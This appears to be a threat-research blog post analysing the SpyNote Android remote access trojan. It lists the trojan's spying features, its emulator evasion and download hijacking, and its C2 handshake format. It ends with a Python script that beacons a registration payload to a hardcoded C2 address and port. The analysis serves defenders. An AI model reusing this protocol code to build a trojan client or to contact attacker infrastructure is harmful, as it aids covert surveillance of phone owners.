SpyNote C2 Emulator
Introduction
SpyNote (aka SpyMax) is a remote access trojan long known for its ability to harvest sensitive data from compromised Android devices by abusing accessibility services. In this report, we won’t go deep with sample analysis; instead, we will walk through and focus on how the malware communicates with its C2 server.
sha256: b35d06e5bd966768f3f6955af7d0e1ce861e103a6b2862ca969b7bc6aff8634b
Espionage Features
- Call Recording: Secretly records phone calls
- Ambient Recording: Activates the microphone remotely
- SMS/Call Log Extraction: Steals messaging history
- Location Tracking: Real-time GPS monitoring
- Screen Capture: Takes screenshots without user consent
- Keylogging: Logs keyboard inputs (credentials, messages)
Remote Control
- Command Execution: Runs shell commands
- App Management: Installs/uninstalls apps
- File System Access: Browses/downloads files
- Camera Hijacking: Takes photos/videos remotely
- Ransomware Functions: Locks the device for extortion
Technical Analysis Summary
AndroidManifest.xml
The AndroidManifest.xml file reveals that the malware requests control over almost every service on the device.

All critical functions are heavily obfuscated. Below is a summary of the malware’s services.

Initialize Services
In this section, I analyzed InitializeService.class and utilities.class.
InitializeService
I found the base64 encoded C2 server address and port in the InitializeService class.

The malware also creates log files for exfiltration to the C2 server.
The first file saves all user logs.

The second file saves captured audio from device routines.

The malware then captures screenshots.

Utilities
The provided code snippet defines a set of Android permissions that the malware requests to carry out its malicious activities. These permissions enable surveillance, data theft, and device control.


Main Activity
In the Main Activity, the malware checks the installation environment to evade emulator detection.


SpyNote insists on playing in the background.

The malware also checks for internet connectivity.

After clarifying the environment, the malware initiates its first steps toward malicious behavior.
The code initiates the following actions:
- A WebView component with highly permissive settings, enabling the execution of malicious web-based content while evading detection and allowing dynamic script injection.
- The malware dynamically switches User-Agent strings.
- It loads
https://sunlove.org.sg/senior-activity-centre-sac/and usessetDownloadListener()to hijack file downloads.
Privilege Escalation

While a comprehensive technical deep dive falls outside the scope of this analysis, our focus remains on identifying and examining the malware’s key characteristics and operational techniques.
C2 Connection
Currently, the C2 server is down. However, you can analyze an archived PCAP file from any sandbox by searching with the sample hash. Let’s proceed with the C2 connection analysis.
- The victim builds a payload using a custom technique hardcoded in the malware. The malware retrieves a unique identifier for each victim, appends it to a client name (CLINAME), saves this identifier locally, and sends it to the C2 server to uniquely identify the victim.
-
The hostname and port of the C2 server are retrieved from a combination of:
- Several configuration constants (FTX0, FTX1, FTX2, FTX3) which correspond to decoded strings (likely labels like AppData, SystemInfo, Config, etc..)
- Hardcoded base64-encoded strings stored preferences InitializeService
-
Device metadata: hostname, Android resources, version strings, and additional identifiers
<host>;<port>;<FTX0>;<FTX1>;<FTX2>;<FTX3>;<hostname>;<resource-string>;[CR];V4;<unique key>ftx0, ftx1, ftx2, ftx3 = "ftx0_value", "ftx1_value", "ftx2_value", "ftx3_value" resource_string = "app_resource" # Construct data structure data_parts = [ C2_HOST, C2_PORT, ftx0, ftx1, ftx2, ftx3, C2_HOST, resource_string, "[CR]", "V4" ] return ";".join(data_parts)
- The victim then establishes a connection with the C2 server.
socket.create_connection((C2_HOST, C2_PORT)) as s:
print(f"Connected to {C2_HOST}:{C2_PORT}, sending {len(payload)} bytes...")
s.sendall(payload)
response = s.recv(1024)
- After connection establishment, a handshake payload is zipped and sent via the socket output stream.
def compress_payload(identifier: str, raw_data: bytes) -> bytes:
compressed_identifier = gzip.compress(identifier.encode())
compressed_data = gzip.compress(raw_data)
return (
str(len(compressed_identifier)).encode() + b"\x00" +
str(len(compressed_data)).encode() + b"\x00" +
compressed_identifier +
compressed_data
)
- The malware uses a custom technique to check prefix bytes to identify the Gzip payload.
# Check format: bytes + null + bytes + null + 1f 8b 08(zip header)
pattern = re.compile(b'^(.+?)\x00(.+?)\x00(\x1f\x8b\x08)', re.DOTALL)
match = pattern.match(response)

All sent and received traffic utilizes this custom C2 integration.
Full Code
This section provides a complete Python-based C2 emulator for SpyNote, demonstrating how the malware communicates with its command-and-control server.
import re
import socket
import gzip
C2_HOST = "47.82.2.89"
C2_PORT = 7772
def compress_payload(identifier: str, raw_data: bytes) -> bytes:
compressed_identifier = gzip.compress(identifier.encode())
compressed_data = gzip.compress(raw_data)
return (
str(len(compressed_identifier)).encode() + b"\x00" +
str(len(compressed_data)).encode() + b"\x00" +
compressed_identifier +
compressed_data
)
# Collect system and network information
def collect_data() -> str:
ftx0, ftx1, ftx2, ftx3 = "ftx0_value", "ftx1_value", "ftx2_value", "ftx3_value"
resource_string = "app_resource"
# Construct data structure with semicolon delimiter
data_parts = [
C2_HOST,
C2_PORT,
ftx0,
ftx1,
ftx2,
ftx3,
C2_HOST,
resource_string,
"[CR]",
"V4"
]
return ";".join(data_parts)
# Build and send payload to the C2 server.
def send_to_c2(identifier: str, raw_data: bytes):
payload = compress_payload(identifier, raw_data)
try:
with socket.create_connection((C2_HOST, C2_PORT)) as s:
print(f"Connected to {C2_HOST}:{C2_PORT}, sending {len(payload)} bytes...")
s.sendall(payload)
response = s.recv(1024)
# Check format: bytes + null + bytes + null + 1f 8b 08(zip header)
pattern = re.compile(b'^(.+?)\x00(.+?)\x00(\x1f\x8b\x08)', re.DOTALL)
match = pattern.match(response)
if match:
print("C2 is alive")
else:
print("C2 is dead")
except Exception as e:
print("Send failed:", e)
def main():
sys_info_str = collect_data()
send_to_c2("-1", sys_info_str.encode()) # Send initial registration beacon to C2 server
if __name__ == "__main__":
main()
Conclusion
This analysis of SpyNote Android malware has demonstrated the sophisticated nature of modern mobile threats and the critical importance of understanding C2 communication protocols. By reverseing the C2 handshake mechanism and developing a functional Python emulator, we’ve exposed the underlying infrastructure that enables this RAT’s extensive surveillance capabilities.